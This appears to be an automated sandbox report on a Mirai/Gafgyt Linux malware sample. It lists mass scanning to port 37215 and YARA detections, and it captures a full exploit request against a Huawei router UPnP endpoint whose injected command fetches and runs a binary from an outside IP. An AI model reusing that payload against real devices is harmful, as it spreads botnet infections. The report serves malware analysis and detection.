Source: global traffic TCP traffic: 192.168.2.23:22607 -> 101.206.159.90:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.14.77.177:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.177.70.76:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.96.106.142:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.238.1.143:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 144.108.196.253:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.151.1.252:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 132.60.255.151:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.45.148.233:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.235.214.2:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 8.235.38.114:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.52.167.214:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 187.207.189.169:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.6.171.220:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 102.154.15.179:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.36.128.72:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.243.191.184:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.200.39.220:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.180.16.235:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.37.118.121:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.242.47.34:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.96.46.114:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.236.133.237:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.72.204.127:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.88.51.34:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.173.5.230:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.231.20.149:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 137.109.232.24:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.242.173.246:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.184.157.113:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 31.113.92.52:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 71.67.32.131:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.179.36.155:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.110.19.67:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.109.207.95:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 114.192.151.242:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.1.21.23:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.99.72.14:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.216.242.112:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.169.141.123:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.207.195.181:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.240.97.103:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.55.101.49:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.221.98.26:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.30.129.187:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 152.99.139.231:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.147.32.157:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.206.7.202:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.22.51.167:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 89.238.72.128:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.220.163.22:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.72.172.78:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.54.129.45:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.41.52.86:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.10.25.172:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.155.46.149:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.71.234.119:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.56.120.22:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.220.43.239:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.248.34.129:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.73.9.64:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 46.117.92.196:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.136.192.20:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.107.92.47:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 65.247.121.179:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.125.235.29:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.238.237.155:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.250.208.57:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 131.89.128.119:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.107.243.105:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.114.110.226:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.110.209.213:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.90.193.70:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 20.229.193.7:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.33.105.156:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.249.160.127:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.102.114.136:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.44.7.44:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.121.110.158:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.10.107.87:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.22.195.244:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 169.239.181.108:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.56.228.92:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 32.103.136.184:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.38.243.195:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.218.0.188:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.40.152.208:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.248.27.52:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.228.64.188:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.26.59.86:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.233.174.116:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.106.32.178:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.67.77.79:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 145.131.235.103:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.222.167.176:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.70.211.40:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 114.59.76.35:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.116.22.226:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.241.131.243:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 164.231.68.103:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.103.171.129:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 57.48.92.32:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.117.203.46:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.27.58.145:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.134.178.171:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.24.203.236:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.186.49.211:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.150.148.242:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.119.211.32:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.5.64.127:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.14.191.249:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 183.176.52.167:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 82.233.177.136:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 40.151.108.48:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 87.42.255.193:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.102.19.211:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.11.111.70:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.245.242.4:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.244.197.151:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.60.185.225:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.166.237.122:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.143.67.16:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.211.49.144:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 165.143.30.204:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.63.113.1:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.19.13.241:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.201.169.214:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.193.125.228:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.214.183.231:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.207.249.171:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 222.141.165.141:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.152.10.81:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.6.40.31:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.140.118.85:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.35.149.72:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.105.65.39:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.182.99.43:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.144.239.179:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 38.182.160.130:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.5.137.65:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.6.225.154:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.9.217.175:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 98.251.188.163:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.144.144.13:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.3.4.211:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.28.215.69:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.116.224.94:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.75.26.30:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.243.85.19:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.51.98.32:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.195.69.5:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.218.106.112:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.5.219.128:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.12.189.97:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.40.42.182:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.77.179.48:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.19.130.141:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.243.141.200:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 147.143.176.70:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.61.180.45:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.160.85.23:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 159.183.237.114:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.215.220.31:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.63.254.144:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.226.91.155:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.211.241.9:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.61.174.169:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 72.153.239.34:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.201.236.25:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.72.29.90:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.8.30.108:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 197.194.146.92:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 41.144.80.207:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.5.88.246:37215
Source: global traffic TCP traffic: 192.168.2.23:22607 -> 157.56.156.83:37215
Source: unknown DNS traffic detected: queries for: test.zxyes.xyz
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 197.51.144.74
Source: unknown TCP traffic detected without corresponding DNS query: 157.91.137.160
Source: unknown TCP traffic detected without corresponding DNS query: 41.38.180.74
Source: unknown TCP traffic detected without corresponding DNS query: 41.157.212.222
Source: unknown TCP traffic detected without corresponding DNS query: 157.18.57.34
Source: unknown TCP traffic detected without corresponding DNS query: 41.120.172.141
Source: unknown TCP traffic detected without corresponding DNS query: 41.79.195.210
Source: unknown TCP traffic detected without corresponding DNS query: 120.82.116.87
Source: unknown TCP traffic detected without corresponding DNS query: 41.88.164.178
Source: unknown TCP traffic detected without corresponding DNS query: 41.171.240.4
Source: unknown TCP traffic detected without corresponding DNS query: 41.193.22.17
Source: unknown TCP traffic detected without corresponding DNS query: 41.102.217.79
Source: unknown TCP traffic detected without corresponding DNS query: 197.183.175.176
Source: unknown TCP traffic detected without corresponding DNS query: 197.141.128.211
Source: unknown TCP traffic detected without corresponding DNS query: 155.230.161.178
Source: unknown TCP traffic detected without corresponding DNS query: 157.25.224.249
Source: unknown TCP traffic detected without corresponding DNS query: 197.122.115.189
Source: unknown TCP traffic detected without corresponding DNS query: 157.19.73.220
Source: unknown TCP traffic detected without corresponding DNS query: 157.5.115.233
Source: unknown TCP traffic detected without corresponding DNS query: 157.28.224.236
Source: unknown TCP traffic detected without corresponding DNS query: 197.231.0.218
Source: unknown TCP traffic detected without corresponding DNS query: 197.47.38.145
Source: unknown TCP traffic detected without corresponding DNS query: 92.37.56.164
Source: unknown TCP traffic detected without corresponding DNS query: 197.56.0.157
Source: unknown TCP traffic detected without corresponding DNS query: 157.8.146.25
Source: unknown TCP traffic detected without corresponding DNS query: 157.35.187.136
Source: unknown TCP traffic detected without corresponding DNS query: 197.81.103.71
Source: unknown TCP traffic detected without corresponding DNS query: 157.101.202.223
Source: unknown TCP traffic detected without corresponding DNS query: 213.128.219.251
Source: unknown TCP traffic detected without corresponding DNS query: 99.138.91.131
Source: unknown TCP traffic detected without corresponding DNS query: 41.248.109.221
Source: unknown TCP traffic detected without corresponding DNS query: 193.117.98.153
Source: unknown TCP traffic detected without corresponding DNS query: 157.213.207.202
Source: unknown TCP traffic detected without corresponding DNS query: 61.148.151.19
Source: unknown TCP traffic detected without corresponding DNS query: 197.33.230.87
Source: unknown TCP traffic detected without corresponding DNS query: 41.55.147.79
Source: unknown TCP traffic detected without corresponding DNS query: 157.184.221.36
Source: unknown TCP traffic detected without corresponding DNS query: 41.147.100.17
Source: unknown TCP traffic detected without corresponding DNS query: 197.201.119.217
Source: unknown TCP traffic detected without corresponding DNS query: 197.146.203.132
Source: unknown TCP traffic detected without corresponding DNS query: 157.16.36.193
Source: unknown TCP traffic detected without corresponding DNS query: 147.203.32.94
Source: unknown TCP traffic detected without corresponding DNS query: 41.11.65.191
Source: unknown TCP traffic detected without corresponding DNS query: 157.170.214.155
Source: unknown TCP traffic detected without corresponding DNS query: 157.59.163.2
Source: unknown TCP traffic detected without corresponding DNS query: 183.9.177.103
Source: unknown TCP traffic detected without corresponding DNS query: 59.35.85.25
Source: unknown TCP traffic detected without corresponding DNS query: 36.163.108.31
Source: unknown TCP traffic detected without corresponding DNS query: 41.177.90.248
Source: v8OWS3Ylfj.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: v8OWS3Ylfj.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: unknown HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: v8OWS3Ylfj.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: v8OWS3Ylfj.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: v8OWS3Ylfj.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: v8OWS3Ylfj.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown
Source: v8OWS3Ylfj.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: v8OWS3Ylfj.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: v8OWS3Ylfj.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: v8OWS3Ylfj.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: Process Memory Space: v8OWS3Ylfj.elf PID: 6223, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Yara signature match
Source: v8OWS3Ylfj.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: v8OWS3Ylfj.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: v8OWS3Ylfj.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: v8OWS3Ylfj.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16
Source: v8OWS3Ylfj.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: v8OWS3Ylfj.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: v8OWS3Ylfj.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: v8OWS3Ylfj.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16
Source: 6223.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
